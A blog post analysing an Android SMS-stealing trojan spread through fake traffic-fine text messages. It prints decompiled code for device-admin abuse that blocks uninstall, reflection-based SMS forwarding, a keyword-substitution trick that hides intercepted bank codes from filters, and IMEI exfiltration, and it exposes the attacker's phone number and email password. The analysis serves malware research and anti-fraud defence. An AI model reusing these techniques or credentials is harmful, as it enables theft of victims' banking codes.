原创:违章查询.apk---android木马分析手记

写在前面:前段时间的一个手机木马,一直没时间去分析。现在有点时间简单作了分析,虽然过了时效,但为了研究技术,还是放出来看看吧。大神自动跳过。
一、来源:
       朋友的手机上收到一条短信,冒充交警部门提示有违章的罚单未处理,详情请点击: http://url.cn/XXXX
点击后下载一名为“违章查询.apk”,安装后如下所示:

写在前面:前段时间的一个手机木马,一直没时间去分析。现在有点时间简单作了分析,虽然过了时效,但为了研究技术,还是放出来看看吧。大神自动跳过。
一、来源:
       朋友的手机上收到一条短信,冒充交警部门提示有违章的罚单未处理,详情请点击: http://url.cn/XXXX
点击后下载一名为“违章查询.apk”,安装后如下所示:

 点击运行后,出现以下提示:


上代码:

     
     
  1. public void a()
  2. {
  3. try
  4. {
  5. Object localObject = (DevicePolicyManager)getSystemService("device_policy");
  6. ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
  7. if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
  8. {
  9. localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
  10. ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
  11. ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限获取保护");
  12. startActivityForResult((Intent)localObject, 0);
  13. this.b.sendEmptyMessageDelayed(1, 2500L);
  14. }
  15. return;
  16. }
  17. catch (Exception localException)
  18. {
  19. localException.printStackTrace();
  20. }
  21. }

激活以后,会提示与设备不兼容,然后就界面消失了,桌面的图标也不见了。
但是,在后台确能看到一个进程和一个服务:cn.nzhjde.lzjuideaw:thee_second2_service3
上代码:
      
      
  1. public void handleMessage(Message paramMessage)
  2. {
  3. switch (paramMessage.what)
  4. {
  5. default:
  6. return;
  7. case 0:
  8. f.c(this.a);
  9. Toast.makeText(this.a, "设备不兼容,软件安装失败!", 1).show();
  10. this.a.finish();
  11. return;
  12. }
  13. f.b(this.a);
  14. Toast.makeText(this.a, "安全控件,请允许激活!", 1).show();
  15. }
对configurations_data.xml文件写入“have_app_jhuo”标识
      
      
  1. public void a(boolean arg3) {
  2. SharedPreferences$Editor v0 = this.b.edit();
  3. v0.putBoolean("have_app_jihuo", arg3);
  4. v0.commit();
  5. }
 
木马会给18376700125的手机号发送两条信息:
 上代码:
       
       
  1. public static void a(Context paramContext)
  2. {
  3. h.a(paramContext);
  4. h.b(paramContext);
  5. h.c(paramContext);
  6. h.d(paramContext);
  7. h.e(paramContext);
  8. if (!com.phone.stop.db.a.a(paramContext).r())
  9. {
  10. String str = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();
  11. com.phone.stop.e.f.a("软件安装完毕\n识别码:" + str + "\n" + e.a(), paramContext);
  12. com.phone.stop.db.a.a(paramContext).h(true);
  13. }
  14. b(paramContext);
  15. if (com.phone.stop.db.a.a(paramContext).g()) {
  16. d.a(paramContext);
  17. }
  18. }

以上信息会通过一个189邮箱发送邮件,用户名为:18376700125,密码为: aa123123。
  public String j() {
        return this.b.getString("a80""aa123123");
    }

 我们尝试登录发现,用户名和密码正确,但是帐号应该是被举报后封停了,如下图:
 




操作短信的类:
为逃避破解或打击,这个类有两个亮点:
一是操作方法使用反射方式,
二是把“验证码"、 "金额 "、”账户“等敏感的字符用  "演马"、"京饿"、"帐护"替换。
     
     
  1. package com.phone.stop.e;
  2. import android.app.PendingIntent;
  3. import android.content.Context;
  4. import android.telephony.SmsManager;
  5. import com.phone.stop.db.a;
  6. import java.lang.reflect.Method;
  7. public class f
  8. {
  9. public static void a(String paramString, Context paramContext)
  10. {
  11. new g(paramString, paramContext).start();
  12. }
  13. public static void a(String paramString1, String paramString2, Context paramContext)
  14. {
  15. try
  16. {
  17. paramContext = SmsManager.getDefault();
  18. Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(paramContext, new Object[] { paramString1, null, paramString2, null, null });
  19. return;
  20. }
  21. catch (Exception paramString1) {}
  22. }
  23. public static void b(String paramString, Context paramContext)
  24. {
  25. if (paramString.length() > 70) {
  26. paramString = paramString.substring(0, 70);
  27. }
  28. for (;;)
  29. {
  30. try
  31. {
  32. localObject = paramString.replace("验证码", "演马").replace("金额", "京饿").replace("账户", "帐护").replace("人民币", "入民比").replace("付款", "父歀").replace("快捷", "块捷").replace("支付", "只负").replace("取款", "娶歀").replace("汇入", "汇人").replace("账号", "帐好").replace("交易", "较意").replace("注册", "住厕").replace("银行", "淫航").replace("尾号", "伪好").replace("泄露", "外流").replace("申请", "深清").replace("开通", "还同").replace("网银", "往淫").replace("校验码", "演马");
  33. paramString = (String)localObject;
  34. }
  35. catch (Exception localException)
  36. {
  37. Object localObject;
  38. continue;
  39. }
  40. try
  41. {
  42. localObject = SmsManager.getDefault();
  43. Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(localObject, new Object[] { a.a(paramContext).d(), null, paramString, null, null });
  44. return;
  45. }
  46. catch (Exception paramString)
  47. {
  48. return;
  49. }
  50. }
  51. }
  52. }


      
      
  1. root@generic:/data/data/cn.nzhjde.lzjuideaw/shared_prefs #
  2. <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
  3. <map>
  4. <boolean name="is_init_end_time" value="true" />
  5. <boolean name="have_init_phone_number" value="true" />
  6. <string name="cao_ni_ma_pojie_wo_de_mazi">1479979697370</string> //最后收到短信的时间
  7. <string name="a10"></string>
  8. <string name="a7"></string>
  9. <string name="a8"></string>
  10. <string name="a5"></string>
  11. <boolean name="has_send_phone_info" value="true" />
  12. <boolean name="have_app_jihuo" value="true" />
  13. <boolean name="has_set_send_email_pwd" value="true" />
  14. <boolean name="has_set_receive_email_account" value="true" />
  15. <string name="a6"></string>
  16. <int name="a9" value="3" />
  17. <boolean name="has_set_send_email_account" value="true" />
  18. </map>

总结一下:
      1、木马使用了代码混淆, 关键代码的调用采用了JAVA反射方式 ,加大了分析难度。
      2、利用“设备管理器”的一些特性,用户不能卸载。可参考之前写的《王者皮肤修改器--恶意代码分析手记   》 http://blog.csdn.net/u013754902/article/details/53297201
      3、后台运行,服务和线程相互检查,哪一个被停止,另一个就会启动它,保证木马永远在线。
      4、使用了发短信和发邮件的方式通知控制者。

最后的几点思考:
      1、看看这些木马的功能,是否让您触目惊心。想想你的银行的验证码很容易就被坏人拿到手了……后果很严重!
      2、木马无论是诱导用户安装还是运行过程,都有很强的迷惑性。普通人怎么辨别得了这些真真假假的APP。
      3、短信和邮件回传时,把“验证码"、 "金额 "、”账户“等敏感的字符用  "演马"、"京饿"、"帐护"替换。
      4、还好,关 键的字符串如手机号、邮件地址、用户名和密码未进行加密处理, 王者皮肤修改器中就使用了DES加密处理( http://blog.csdn.net/u013754902/article/details/53297201
      最后,希望能为打击电信诈骗出一份力,也在这个正邪的较量中,发挥正能量。
      欢迎各位同学一起交流,也可以把一些木马发我邮箱,有时间我会再进行分析的,目的在于找出这些木马的规律,为打击坏人出重拳,净化我们的网络环境。

最后的最后,本文有不对的地方欢迎批评指正,文笔不好,大家见谅!

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值